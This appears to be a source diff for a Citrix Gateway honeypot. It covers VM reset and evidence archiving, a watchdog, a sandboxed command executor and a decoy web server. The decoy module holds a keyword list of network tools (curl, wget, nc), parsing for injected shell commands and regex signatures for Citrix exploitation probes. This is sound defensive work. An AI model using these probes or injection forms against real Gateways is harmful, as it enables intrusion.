DISK = Path('/dev/pve/vm-223-disk-0')
LIMIT = 16 * 1024**3
RESERVE = 4 * 1024**3
def command(*args, timeout=60):
return subprocess.run(args, check=True, capture_output=True, text=True,
timeout=timeout).stdout
def qm(*args, timeout=60):
return command('/usr/sbin/qm', *args, timeout=timeout)
def guest(script):
result = json.loads(qm('guest', 'exec', '222', '--timeout', '20', '--',
'/bin/sh', '-c', script, timeout=25))
if not result.get('exited') or result.get('exitcode') != 0:
raise RuntimeError('collector guest operation failed')
return result.get('out-data', '')
def sync_dir(path):
fd = os.open(path, os.O_RDONLY | os.O_DIRECTORY)
try:
os.fsync(fd)
finally:
os.close(fd)
def write_file(path, data):
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600)
with os.fdopen(fd, 'wb') as stream:
stream.write(data)
stream.flush()
os.fsync(stream.fileno())
sync_dir(path.parent)
def bounds(min_free=RESERVE):
used = sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) if ARCHIVES.exists() else 0
if used >= LIMIT:
raise RuntimeError('archive 16GiB budget reached; evidence retained')
if shutil.disk_usage(ROOT).free < min_free:
raise RuntimeError('host free-space reserve reached; evidence retained')
def valid_config(config):
values = dict(line.split(': ', 1) for line in config.splitlines() if ': ' in line)
if (values.get('name') != 'decoy-execution' or
not values.get('scsi0', '').startswith('local-lvm:vm-223-disk-0,') or
'restrict=on' not in values.get('args', '') or
'file=/var/lib/vz/honeypot/execution.pcap' not in values.get('args', '') or
any(k.startswith('net') and k[3:].isdigit() for k in values)):
raise RuntimeError('VM223 identity or isolation mismatch')
def validate():
if os.geteuid() != 0:
raise RuntimeError('run on designated Proxmox host as root')
if ROOT.is_symlink() or not ROOT.is_dir() or (ARCHIVES.exists() and ARCHIVES.is_symlink()):
raise RuntimeError('invalid evidence directory')
if (ROOT / 'STOP').exists():
raise RuntimeError('preexisting host STOP latch requires operator review')
if not stat.S_ISBLK(DISK.stat().st_mode):
raise RuntimeError('execution disk is not a block device')
current = qm('config', '223')
baseline = qm('config', '223', '--snapshot', 'decoy-clean')
valid_config(current)
valid_config(baseline)
guest('test -f /etc/decoy-collector && test ! -e /var/lib/decoy/STOP')
return current, baseline
def digest(path):
hashed = hashlib.sha256()
with path.open('rb') as stream:
while chunk := stream.read(1024**2):
bounds()
hashed.update(chunk)
os.fsync(stream.fileno())
return hashed.hexdigest()
def install_admin_ca():
public = ROOT / 'admin-ca.authorized'
if not public.exists():
return
line = public.read_text().strip()
if not line.startswith('cert-authority,principals="decoy-admin",restrict,pty ssh-ed25519 ') or len(line) > 4096 or '\n' in line:
raise RuntimeError('invalid dedicated admin CA authorization')
script = ("import pathlib,os; p=pathlib.Path('/root/.ssh/authorized_keys'); "
"p.parent.mkdir(mode=0o700,exist_ok=True); "
"lines=p.read_text().splitlines() if p.exists() else []; "
"line=" + repr(line) + "; "
"p.write_text('\\n'.join(lines if line in lines else lines+[line])+'\\n'); "
"p.chmod(0o600)")
result = json.loads(qm('guest', 'exec', '223', '--timeout', '10', '--', '/usr/bin/python3', '-c', script))
if not result.get('exited') or result.get('exitcode') != 0:
raise RuntimeError('admin certificate authorization restore failed')
def run():
# Permanent lock inode; never unlink it while other cron instances may wait.
with open('/run/decoy-reset.lock', 'a') as lock:
try:
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
except BlockingIOError:
print('Reset already in progress')
return
validate()
changed = False
try:
command('systemctl', 'stop', 'decoy-ingress.service')
changed = True
command('systemctl', 'stop', 'decoy-watchdog.service')
guest('systemctl stop decoy.service decoy-network.service')
qm('stop', '223')
if 'status: stopped' not in qm('status', '223'):
raise RuntimeError('execution VM did not stop')
# Recheck after intake stops: never erase a concurrent capture-failure latch.
current, baseline = validate()
bounds(8 * 1024**3)
stamp = datetime.datetime.now(datetime.timezone.utc).strftime('%Y%m%dT%H%M%SZ')
ARCHIVES.mkdir(mode=0o700, exist_ok=True)
archive = ARCHIVES / (stamp + '-' + uuid.uuid4().hex)
archive.mkdir(mode=0o700)
sync_dir(ARCHIVES)
write_file(archive / 'vm223.conf', current.encode())
write_file(archive / 'baseline.conf', baseline.encode())
partial = archive / 'execution.qcow2.partial'
# Reserve file exclusively before qemu-img writes it; protected parent0700.
write_file(partial, b'')
with (archive / 'convert.log').open('xb') as output:
process = subprocess.Popen(['qemu-img', 'convert', '-c', '-f', 'raw', '-O',
'qcow2', str(DISK), str(partial)], stdout=output, stderr=output)
deadline = time.monotonic() + 900
try:
while process.poll() is None:
bounds()
if time.monotonic() > deadline:
raise RuntimeError('disk archive timeout')
time.sleep(0.5)
if process.returncode:
raise RuntimeError('disk archive conversion failed; inspect retained convert.log')
finally:
if process.poll() is None:
process.kill()
process.wait()
output.flush()
os.fsync(output.fileno())
bounds()
check = command('qemu-img', 'check', '--output=json', str(partial), timeout=300)
command('qemu-img', 'compare', '-f', 'raw', '-F', 'qcow2', str(DISK), str(partial), timeout=300)
write_file(archive / 'disk-check.json', check.encode())
disk_hash = digest(partial)
image = archive / 'execution.qcow2'
partial.rename(image)
sync_dir(archive)
pcap = ROOT / 'execution.pcap'
if pcap.is_symlink() or not pcap.is_file():
raise RuntimeError('pcap is missing or not a regular file')
pcap_hash = digest(pcap)
pcap_size = pcap.stat().st_size
if sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) + pcap_size >= LIMIT:
raise RuntimeError('pcap would exceed archive budget')
pcap.rename(archive / 'execution.pcap')
sync_dir(ROOT)
sync_dir(archive)
metadata = {'timestamp_utc': stamp, 'vmid': 223, 'baseline': 'decoy-clean',
'disk_sha256': disk_hash, 'pcap_sha256': pcap_hash,
'disk_bytes': image.stat().st_size, 'pcap_bytes': pcap_size,
'memory_preserved': False, 'state': 'validated_before_rollback'}
write_file(archive / 'manifest.json', (json.dumps(metadata, indent=2) + '\n').encode())
bounds()
# A preexisting STOP is never cleared. Any late latch aborts reset.
if (ROOT / 'STOP').exists():
raise RuntimeError('host STOP appeared during archive')
guest('test ! -e /var/lib/decoy/STOP')
qm('rollback', '223', 'decoy-clean', timeout=300)
valid_config(qm('config', '223'))
write_file(ROOT / 'execution.pcap', b'')
guest('test ! -e /var/lib/decoy/STOP && systemctl start decoy-network.service decoy.service && '
'systemctl is-active --quiet decoy-network.service decoy.service')
qm('start', '223')
deadline = time.monotonic() + 90
while True:
try:
ready = json.loads(qm('guest', 'exec', '223', '--timeout', '5', '--',
'/bin/sh', '-c', 'test -f /etc/decoy-disposable-guest && systemctl is-active --quiet decoy-relay decoy-guest-network', timeout=10))
if ready.get('exited') and ready.get('exitcode') == 0:
break
except (subprocess.SubprocessError, ValueError):
pass
if time.monotonic() >= deadline:
raise RuntimeError('restored guest did not become ready')
time.sleep(2)
install_admin_ca()
command('systemctl', 'start', 'decoy-watchdog.service')
command('systemctl', 'start', 'decoy-ingress.service')
write_file(archive / 'reset-complete.json',
json.dumps({'completed_time_ns': time.time_ns()}).encode())
print(f'Reset VM223; disk and packet evidence retained at {archive}')
except BaseException:
if changed:
# Best effort fail-closed; never resume intake or roll back on failure.
for args in [('systemctl', 'stop', 'decoy-ingress.service'),
('/usr/sbin/qm', 'stop', '223')]:
try:
command(*args)
except Exception:
pass
try:
guest('systemctl stop decoy.service decoy-network.service')
except Exception:
pass
try:
write_file(ROOT / 'STOP', b'automatic reset failed; operator review required\n')
except FileExistsError:
pass
raise
finally:
if changed:
command('systemctl', 'start', 'decoy-watchdog.service')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=__doc__)
mode = parser.add_mutually_exclusive_group(required=True)
mode.add_argument('--run', action='store_true')
mode.add_argument('--check', action='store_true')
args = parser.parse_args()
os.umask(0o077)
if args.check:
validate()
bounds(8 * 1024**3)
print('Reset preflight passed; no changes made')
else:
run()
+51
View File
@@ -0,0 +1,51 @@
#!/usr/bin/env python3
"""Run once on Proxmox after trusted cloud-init completes, before deploying payload code."""
import json
from pathlib import Path
import shlex
import subprocess
ROOT = Path('/var/lib/vz/honeypot')
PCAP = ROOT / 'execution.pcap'
if PCAP.exists():
raise SystemExit('Existing capture found: refusing a restart that would truncate evidence')
def guest(vm, command):
result = json.loads(subprocess.check_output(
['qm', 'guest', 'exec', str(vm), '--', '/bin/sh', '-c', command], text=True))
if result.get('exitcode') != 0:
raise RuntimeError(result)
return result.get('out-data', '')
for vm in (222, 223):
guest(vm, 'test -f /var/lib/decoy-bootstrap-complete && cloud-init status --long')
keys = {vm: guest(vm, 'cat /etc/ssh/ssh_host_ed25519_key.pub').strip() for vm in (222, 223)}
pub = guest(222, 'mkdir -p /root/.ssh; chmod 700 /root/.ssh; '
'test -f /root/.ssh/decoy_execution_ed25519 || '
'ssh-keygen -q -t ed25519 -N "" -f /root/.ssh/decoy_execution_ed25519; '
'cat /root/.ssh/decoy_execution_ed25519.pub').strip()
guest(223, 'printf "%s\\n" ' + shlex.quote(
'no-agent-forwarding,no-port-forwarding,no-X11-forwarding ' + pub) +
' >> /root/.ssh/authorized_keys; chmod 600 /root/.ssh/authorized_keys')
guest(222, 'printf "%s\\n" ' + shlex.quote('10.0.2.101 ' + keys[223]) +
' > /root/.ssh/known_hosts; chmod 600 /root/.ssh/known_hosts; '
'cp /root/.ssh/known_hosts /root/.ssh/decoy_execution_known_hosts')
config = ('Host decoy-execution\n HostName 10.0.2.101\n User root\n'
' IdentityFile /root/.ssh/decoy_execution_ed25519\n IdentitiesOnly yes\n'
' StrictHostKeyChecking yes\n BatchMode yes\n ConnectTimeout 5\n')
guest(222, 'printf "%s" ' + shlex.quote(config) +
' > /root/.ssh/config; chmod 600 /root/.ssh/config')
subprocess.run(['qm', 'shutdown', '223', '--timeout', '60'], check=True)
ROOT.chmod(0o700)
PCAP.touch(mode=0o600, exist_ok=False)
# -sandbox applies a QEMU seccomp filter: deny obsolete syscalls and privilege elevation.
args = ('-netdev user,id=decoy,restrict=on,hostfwd=tcp:127.0.0.1:19223-:22,'
'guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry '
'-device virtio-net-pci,netdev=decoy,mac=52:54:00:22:02:23 '
'-object filter-dump,id=decoycap,netdev=decoy,'
'file=/var/lib/vz/honeypot/execution.pcap,maxlen=512 '
'-sandbox on,obsolete=deny,elevateprivileges=deny')
subprocess.run(['qm', 'set', '223', '--args', args], check=True)
subprocess.run(['qm', 'start', '223'], check=True)
for vm, key in keys.items():
print(f'decoy-{vm} {key}') # Public host keys only.
+1
View File
@@ -0,0 +1 @@
{"host":"10.0.2.101","port":22,"identity":"/root/.ssh/decoy_execution_ed25519","known_hosts":"/root/.ssh/decoy_execution_known_hosts","vmid":223,"allowed_peers":"/var/lib/decoy/allowed-peers.json","stop_file":"/var/lib/decoy/STOP"}
+63
View File
@@ -0,0 +1,63 @@
#!/usr/bin/env python3
"""Proxmox-side fail-closed monitor; only the disposable VM223 is stopped."""
import json
import pathlib
import shutil
import subprocess
import time
DIRECTORY = pathlib.Path('/var/lib/vz/honeypot')
def qm(*args):
return subprocess.run(['/usr/sbin/qm', *args], capture_output=True, text=True, timeout=25, check=True).stdout
def stop(reason):
with (DIRECTORY / 'watchdog-events.jsonl').open('a') as output:
output.write(json.dumps(dict(time_ns=time.time_ns(), event='execution_vm_stopped', reason=reason)) + '\n')
output.flush()
qm('stop', '223')
# This latch prevents unattended auto-restart. Operator must verify evidence before clearing.
(DIRECTORY / 'STOP').touch(mode=0o600)
def main():
last_health = 0
while True:
try:
if 'status: running' not in qm('status', '223'):
time.sleep(2)
continue
reason = None
pcap = DIRECTORY / 'execution.pcap'
if (DIRECTORY / 'STOP').exists():
reason = 'host stop latch'
elif pcap.exists() and pcap.stat().st_size >= 512 * 1024 * 1024:
reason = 'pcap quota'
elif shutil.disk_usage(DIRECTORY).free < 4 * 1024**3:
reason = 'host free space reserve'
elif time.monotonic() - last_health >= 10:
last_health = time.monotonic()
usage = subprocess.run(['/usr/sbin/lvs', '--noheadings', '-o', 'data_percent', 'pve/data'], capture_output=True, text=True, check=True, timeout=5)
if float(usage.stdout.strip()) >= 85:
stop('Proxmox thin pool reserve')
continue
try:
result = json.loads(qm('guest', 'exec', '222', '--timeout', '10', '--',
'/bin/sh', '-c',
'test ! -e /var/lib/decoy/STOP && '
'systemctl is-active --quiet decoy.service decoy-network.service'))
if result.get('exitcode') != 0 or not result.get('exited'):
reason = 'collector services stopped or capture failed'
except (OSError, ValueError, subprocess.SubprocessError):
reason = 'collector health unavailable'
if reason:
stop(reason)
except (OSError, subprocess.SubprocessError) as error:
print(type(error).__name__, flush=True)
time.sleep(1)
if __name__ == '__main__':
main()
+23
View File
@@ -0,0 +1,23 @@
"""Minimal .env loader so local runs match the systemd EnvironmentFile. Never overwrites
variables already set in the environment."""
import os
import pathlib
def load(path='.env'):
file = pathlib.Path(path)
if not file.is_file():
return
for line in file.read_text().splitlines():
line = line.strip()
if not line or line.startswith('#') or '=' not in line:
continue
key, _, value = line.partition('=')
os.environ.setdefault(key.strip(), value.strip().strip('\'"'))
def env_int(name, default):
try:
return int(os.environ.get(name, default))
except (TypeError, ValueError):
return default
+92
View File
@@ -0,0 +1,92 @@
"""Local append-only event journal and inert, content-addressed evidence."""
import datetime
import hashlib
import json
import os
import pathlib
import threading
import time
class EvidenceError(OSError):
pass
class Evidence:
def __init__(self, directory, quota=1024 ** 3):
self.directory = pathlib.Path(directory)
self.directory.mkdir(parents=True, exist_ok=True, mode=0o700)
self.artifacts = self.directory / 'artifacts'
self.artifacts.mkdir(exist_ok=True, mode=0o700)
os.chmod(self.directory, 0o700)
os.chmod(self.artifacts, 0o700)
self.lock = threading.RLock()
self.quota = quota
self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file())
self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600)
os.fchmod(self.journal, 0o600)
def reserve(self, size):
if self.used + size > self.quota:
raise OSError('Evidence quota reached; preserve/archive evidence before restarting')
def emit(self, event, **data):
now = time.time_ns()
entry = dict(schema_version=2, event=event, time_ns=now,
timestamp=datetime.datetime.fromtimestamp(now / 1e9, datetime.timezone.utc).isoformat(timespec='microseconds'),
**data)
raw = (json.dumps(entry, ensure_ascii=True) + '\n').encode()
with self.lock:
self.reserve(len(raw))
with os.fdopen(os.dup(self.journal), 'ab') as output:
output.write(raw)
output.flush()
os.fsync(output.fileno())
self.used += len(raw)
def save(self, data):
digest = hashlib.sha256(data).hexdigest()
path = self.artifacts / (digest + '.bin')
with self.lock:
if not path.exists():
self.reserve(len(data))
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600)
try:
with os.fdopen(fd, 'wb') as output:
output.write(data)
output.flush()
os.fsync(output.fileno())
except BaseException:
path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash
raise
self.used += len(data)
return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name)
def close(self):
os.close(self.journal)
class RecordingReader:
"""Retain only bytes consumed by the HTTP parser, after TLS decryption."""
def __init__(self, source, limit):
self.source, self.limit = source, limit
self.data = bytearray()
self.truncated = False
def record(self, data):
room = max(0, self.limit - len(self.data))
self.data.extend(data[:room])
self.truncated |= len(data) > room
return data
def read(self, *args):
return self.record(self.source.read(*args))
def read1(self, *args):
return self.record(self.source.read1(*args))
def readline(self, *args):
return self.record(self.source.readline(*args))
def close(self):
self.source.close()
+175
View File
@@ -0,0 +1,175 @@
#!/usr/bin/env python3
"""Disposable Linux guest only. Never run on a workstation or collector."""
import base64
import hashlib
import json
import os
import pathlib
import signal
import stat
import subprocess
import sys
import threading
import time
LOCK = threading.Lock()
LIMIT = 16 * 1024 * 1024
ACTIVE = None
ROOTS = ['/var/tmp', '/tmp', '/root', '/netscaler', '/nsconfig', '/usr/local/bin', '/etc']
def emit(event, content=None, **data):
if content is not None:
data['base64'] = base64.b64encode(content).decode()
with LOCK:
try:
print(json.dumps(dict(event=event, guest_time_ns=time.time_ns(), **data)), flush=True)
except (BrokenPipeError, OSError):
terminate()
os._exit(1)
def scan():
result = {}
for root in ROOTS:
for folder, dirs, files in os.walk(root, followlinks=False):
dirs[:] = dirs[:128]
for name in files:
path = os.path.join(folder, name)
try:
s = os.lstat(path)
if stat.S_ISREG(s.st_mode):
result[path] = (s.st_ino, s.st_mtime_ns, s.st_ctime_ns, s.st_size, s.st_mode)
except OSError:
pass
if len(result) >= 20000:
return result
return result
def watch(stop, previous):
# ponytail: polling preserves observed versions; syscall trace records fast deletes/other paths.
while not stop.wait(.25):
current = scan()
for path in previous.keys() - current.keys():
emit('guest_file_deleted', path=path)
for path, info in current.items():
if previous.get(path) == info:
continue
try:
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
with os.fdopen(fd, 'rb') as f:
if not stat.S_ISREG(os.fstat(f.fileno()).st_mode):
continue
data = f.read(LIMIT + 1)
emit('guest_file_version', content=data[:LIMIT], path=path, size=info[3],
mode=oct(info[4]), truncated=len(data) > LIMIT)
except OSError as e:
emit('guest_file_capture_error', path=path, error=str(e))
previous = current
def terminate(*_):
if ACTIVE is not None:
try:
os.killpg(ACTIVE.pid, signal.SIGKILL)
except ProcessLookupError:
pass
def open_beneath(path, flags, mode=0o600):
# Resolve every directory with NOFOLLOW, including mutable /var/tmp/uploads.
parts = pathlib.PurePosixPath(path).parts
if parts[0] != '/' or '..' in parts:
raise ValueError('invalid path')
directory = os.open('/', os.O_RDONLY | os.O_DIRECTORY)
try:
for part in parts[1:-1]:
new = os.open(part, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory)
os.close(directory)
directory = new
return os.open(parts[-1], flags | os.O_NOFOLLOW | os.O_NONBLOCK, mode, dir_fd=directory)
finally:
os.close(directory)
def main():
global ACTIVE
marker = pathlib.Path('/etc/decoy-disposable-guest')
if not marker.is_file() or marker.is_symlink():
raise SystemExit('Refusing execution outside disposable guest')
maximum = 4 * ((LIMIT + 2) // 3) + 131072
line = sys.stdin.buffer.readline(maximum + 1)
if len(line) > maximum or not line.endswith(b'\n'):
raise SystemExit('request limit')
data = json.loads(line)
if data['action'] == 'read':
path = pathlib.PurePosixPath(data['path'])
if not str(path).startswith('/netscaler/ns_gui/') or '..' in path.parts:
raise SystemExit('invalid webroot path')
fd = open_beneath(str(path), os.O_RDONLY)
with os.fdopen(fd, 'rb') as f:
if not stat.S_ISREG(os.fstat(f.fileno()).st_mode):
raise SystemExit('not regular file')
raw = f.read(LIMIT + 1)
emit('guest_http_file', content=raw[:LIMIT], path=str(path), truncated=len(raw) > LIMIT)
return
if data['action'] == 'upload':
raw = base64.b64decode(data['base64'], validate=True)
if len(raw) > LIMIT:
raise SystemExit('upload limit')
name = '/var/tmp/uploads/' + hashlib.sha256(raw).hexdigest() + '.bin'
os.makedirs('/var/tmp/uploads', mode=0o700, exist_ok=True)
# Never truncate attacker-selected symlinks, hardlinks, devices or existing files.
try:
fd = open_beneath(name, os.O_WRONLY | os.O_CREAT | os.O_EXCL)
except FileExistsError:
emit('guest_upload', path=name, bytes=len(raw), error='path exists; offguest original retained')
return
with os.fdopen(fd, 'wb') as f:
f.write(raw)
emit('guest_upload', path=name, bytes=len(raw))
return
if data['action'] != 'execute':
raise SystemExit('unknown action')
command = data['command']
if not isinstance(command, str) or len(command) > 65536:
raise SystemExit('command limit')
for sig in (signal.SIGHUP, signal.SIGTERM, signal.SIGINT):
signal.signal(sig, lambda *_: (terminate(), sys.exit(1)))
stop = threading.Event()
watcher = threading.Thread(target=watch, args=(stop, scan()), daemon=True)
watcher.start()
proc = subprocess.Popen(['strace', '-f', '-ttt', '-T', '-s', '4096', '-yy',
'/bin/bash', '-c', command], cwd='/var/tmp',
stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
start_new_session=True)
ACTIVE = proc
emit('guest_process_start', pid=proc.pid, command=command)
def drain(stream, event):
while chunk := stream.read1(32768):
emit(event, content=chunk)
readers = [threading.Thread(target=drain, args=(proc.stdout, 'guest_stdout'), daemon=True),
threading.Thread(target=drain, args=(proc.stderr, 'guest_syscalls_stderr'), daemon=True)]
for reader in readers:
reader.start()
try:
proc.wait(timeout=600)
except subprocess.TimeoutExpired:
emit('guest_execution_limit', seconds=600)
finally:
try:
os.killpg(proc.pid, signal.SIGKILL)
except ProcessLookupError:
pass
proc.wait()
for reader in readers:
reader.join(3)
time.sleep(.5)
stop.set()
watcher.join(2)
emit('guest_process_end', returncode=proc.poll())
if __name__ == '__main__':
main()
+728
View File
@@ -0,0 +1,728 @@
#!/usr/bin/env python3
"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution."""
import argparse
import collections
import email.parser
import email.policy
import hashlib
import html
import http.server
import ipaddress
import os
import pathlib
import posixpath
import re
import secrets
import shlex
import ssl
import sys
import threading
import time
import urllib.parse
from trusted_proxy import source as proxy_source, forwarded_client
from evidence import Evidence, EvidenceError, RecordingReader
from env_file import load, env_int
MAX_BODY = 16 * 1024 * 1024
MAX_FILES = 64
MAX_FILE = 8192
MAX_SESSIONS = 128
MAX_PENDING = 16
TTL = 3600
WEBROOT = '/netscaler/ns_gui'
UI = pathlib.Path(__file__).parent / 'ui'
LOGIN = (UI / 'login.html').read_bytes()
# The login page is served at every entry point a Citrix Gateway exposes.
LOGIN_PATHS = {'/', '/vpn/', '/vpn/index.html', '/vpn/tmindex.html',
'/logon/LogonPoint/tmindex.html', '/logon/LogonPoint/index.html',
'/logon/LogonPoint/custom.html', '/menu/neo/'}
JS = 'application/javascript; charset=utf-8'
STATIC = {
'/logon/LogonPoint/login.js': ((UI / 'login.js').read_bytes(), JS),
'/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg': ((UI / 'background.jpg').read_bytes(), 'image/jpeg'),
'/vpn/media/citrixgateway_logo_white.png': ((UI / 'logo.png').read_bytes(), 'image/png'),
'/logon/LogonPoint/receiver/images/common/icon_vpn.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'),
'/vpn/images/AccessGateway.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'),
'/favicon.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'),
# Static NetScaler Gateway scripts scanners look for; symbols match the real rdx/CTXS namespace.
'/vpn/js/rdx.js': (b"window.CTXS=window.CTXS||{};window.rdx=window.rdx||{};"
b"rdx.base_view=function(){};rdx.utils={get_view:function(){}};\n", JS),
'/vpn/js/rdx/core/rdx.js': (b"window.rdx=window.rdx||{};rdx.base_view=rdx.base_view||function(){};"
b"rdx.utils={get_view:function(){}};\n", JS),
'/vpn/js/gateway_login_view.js': (b"rdx.gateway_login_view=function(){return new rdx.base_view();};\n", JS),
'/vpn/js/gateway_login_form_view.js': (b"rdx.gateway_login_form_view=function(){return rdx.utils.get_view();};\n", JS),
'/logon/LogonPoint/init.js': (b"var _ctxstxt_CitrixCopyright='Copyright (c) Citrix Systems, Inc.';"
b"window.CTXS=window.CTXS||{};CTXS.init=function(){};\n", JS),
'/logon/LogonPoint/receiver/js/ctxs.core.min.js': (b"window.CTXS=window.CTXS||{};CTXS.core={version:'1.0'};\n", JS),
}
class Session:
def __init__(self):
self.sid = secrets.token_hex(16)
self.seen = time.monotonic()
self.cwd = '/var/tmp'
self.files = {'/etc/passwd': 'root:*:0:0:Charlie &:/root:/bin/sh\n',
'/nsconfig/ns.conf': '# synthetic honeypot configuration\n'}
self.pending = collections.deque(maxlen=MAX_PENDING)
self.auth_started = time.monotonic()
self.auth_count = 0
def path(self, name):
# All paths stay dictionary keys, including traversal and absolute paths.
return posixpath.normpath(posixpath.join(self.cwd, name))
def commands(text):
"""Small shell-like grammar; unsupported constructs are recorded, never executed."""
lexer = shlex.shlex(text, posix=True, punctuation_chars=';&|<>')
lexer.whitespace_split = True
lexer.commenters = '#'
group = []
for token in lexer:
if token in (';', '&&', '||', '|', '&'):
if group:
yield group
group = []
else:
group.append(token)
if group:
yield group
def simulate(session, text, emit, download=None):
# ponytail: bounded subset, not a POSIX shell; add grammar only from captured evidence.
try:
groups = list(commands(text))
if len(groups) > 32:
emit('limit', resource='simulated_commands', total=len(groups), retained=32)
groups = groups[:32]
except ValueError:
emit('unsupported', reason='shell_parse', command=text)
return
for tokens in groups:
original = tokens[:]
dest, append = None, False
for operator in ('>>', '>'):
if operator in tokens:
index = tokens.index(operator)
if index + 1 < len(tokens):
dest, append = session.path(tokens[index + 1]), operator == '>>'
tokens = tokens[:index]
break
if not tokens:
continue
name, *args = tokens
name = posixpath.basename(name)
output = ''
supported = True
if name == 'id':
output = 'uid=0(root) gid=0(wheel) groups=0(wheel)\n'
elif name == 'whoami':
output = 'root\n'
elif name == 'uname':
output = 'FreeBSD ns 11.4-RELEASE-p17 FreeBSD 11.4-RELEASE-p17 amd64\n'
elif name == 'pwd':
output = session.cwd + '\n'
elif name == 'cd' and args:
session.cwd = session.path(args[0])
emit('virtual_directory_change', path=session.cwd)
elif name == 'cat':
for arg in args:
path = session.path(arg)
emit('virtual_file_read', path=path, exists=path in session.files,
content=session.files.get(path, '').encode())
output = ''.join(session.files.get(session.path(arg), 'cat: No such file or directory\n') for arg in args)
elif name == 'ls':
output = '\n'.join(sorted(session.files)) + '\n'
elif name == 'echo':
output = ' '.join(args) + '\n'
elif name == 'printf' and args:
if args[0] in ('%s', '%s\\n'):
output = ('\n' if args[0].endswith('\\n') else '').join(args[1:])
if args[0].endswith('\\n'):
output += '\n'
elif len(args) == 1 and '%' not in args[0]:
output = args[0].replace('\\n', '\n')
else:
supported = False
elif name == 'touch' and len(args) == 1:
dest = session.path(args[0])
output = session.files.get(dest, '')
elif name == 'rm':
for arg in args:
if not arg.startswith('-'):
path = session.path(arg)
emit('virtual_file_delete', path=path, exists=path in session.files,
content=session.files.get(path, '').encode())
session.files.pop(path, None)
elif name in ('curl', 'wget', 'nc', 'ncat', 'telnet', 'ssh', 'ftp', 'fetch'):
emit('outbound_attempt', argv=original, disposition='recorded_only')
if download and name in ('curl', 'wget', 'fetch'):
download(' '.join(original)) # GET and store the URL's bytes; never executed
supported = False
elif name in (':', 'true', 'mkdir'):
pass
else:
supported = False
emit('simulated_command' if supported else 'unsupported', argv=original,
cwd=session.cwd, output=output[:MAX_FILE], output_truncated=len(output) > MAX_FILE)
if dest and supported:
if dest in session.files or len(session.files) < MAX_FILES:
content = (session.files.get(dest, '') if append else '') + output
session.files[dest] = content[:MAX_FILE]
emit('virtual_file_write', path=dest, bytes=len(session.files[dest]),
content=session.files[dest].encode(),
truncated=len(content) > MAX_FILE)
else:
emit('limit', resource='virtual_files')
def extract(value):
"""Approximate the documented log-to-core-name transform, without running it."""
if not re.search(r'pitboss.*PPE.*(?:missed too many heartbeats|unexpectedly died)', value, re.I):
return None
if 'NSPPE' not in value:
return None
tail = 'NSPPE' + value.rsplit('NSPPE', 1)[1]
# The published backtick wrapper carries the full command, spaces included, anywhere in the line.
substitutions = re.findall(r'`([^`]+)`', tail)
if substitutions:
return ';'.join(substitutions)
fields = tail.replace('(', '').replace(')', '').split()
core = '-'.join(fields[:2])
if ';' not in core:
return None
# Simple semicolon injection without backticks.
return core.split(';', 1)[-1]
# Conservative, path-based indicators for known Citrix ADC/Gateway exploitation and probes.
# Every request is already logged in full; these labels make hunting fast without guessing.
SIGNATURES = (
('CVE-2019-19781', re.compile(r'/vpn/\.\./vpns|/vpns/(?:cfg|portal|scripts)|\.\./vpns', re.I)),
('path-traversal', re.compile(r'\.\.(?:/|%2f)|%2e%2e|%252e', re.I)),
('config-read', re.compile(r'/nsconfig/|/flash/nsconfig|/ns\.conf', re.I)),
('management-probe', re.compile(r'/(?:gwtest|rapi|cgi-bin|menu|nitro)/', re.I)),
)
def exploit_signatures(path):
raw = urllib.parse.unquote(path)
return [name for name, pattern in SIGNATURES if pattern.search(path) or pattern.search(raw)]
class Engine:
def __init__(self, emit, delay=1, save=None, fetcher=None):
self.sink, self.save = emit, save
self.delay = delay
self.sessions = collections.OrderedDict()
self.lock = threading.RLock()
self.backend = None
self.fetcher = fetcher
def emit(self, event, **data):
try:
if 'content' in data:
content = data.pop('content')
data['evidence'] = (self.save(content) if self.save else
dict(sha256=hashlib.sha256(content).hexdigest(), bytes=len(content)))
self.sink(event, **data)
except OSError as error:
raise EvidenceError(str(error)) from error
def session(self, peer):
# ponytail: per-source state merges clients behind NAT; use validated sessions if needed.
now = time.monotonic()
for key in list(self.sessions):
if now - self.sessions[key].seen > TTL:
self.emit('session_expired', peer=key, session=self.sessions[key].sid,
pending_dropped=len(self.sessions[key].pending))
del self.sessions[key]
if peer not in self.sessions:
if len(self.sessions) >= MAX_SESSIONS:
key, old = self.sessions.popitem(last=False)
self.emit('session_evicted', peer=key, session=old.sid, pending_dropped=len(old.pending))
self.sessions[peer] = Session()
state = self.sessions[peer]
state.seen = now
self.sessions.move_to_end(peer)
return state
def auth_attempt(self, state, context, path):
# ponytail: bounded fixed 5-minute window; raw events support later cross-window analysis.
with self.lock:
now = time.monotonic()
if now - state.auth_started >= 300:
state.auth_started, state.auth_count = now, 0
state.auth_count += 1
data = dict(context, path=path, attempts_in_window=state.auth_count,
window_seconds=300, threshold=10,
classification='suspected_brute_force' if state.auth_count >= 10 else 'auth_submission',
outcome='decoy_no_authentication')
self.emit('auth_attempt', **data)
if state.auth_count % 10 == 0:
self.emit('brute_force_suspected', **data)
def ingest(self, state, candidates, context=None):
context = dict(context or {}, session=state.sid)
for source, value in candidates:
command = extract(value)
if command is not None:
self.emit('injection_candidate', **context, source=source, value=value,
command=command, confidence='heuristic')
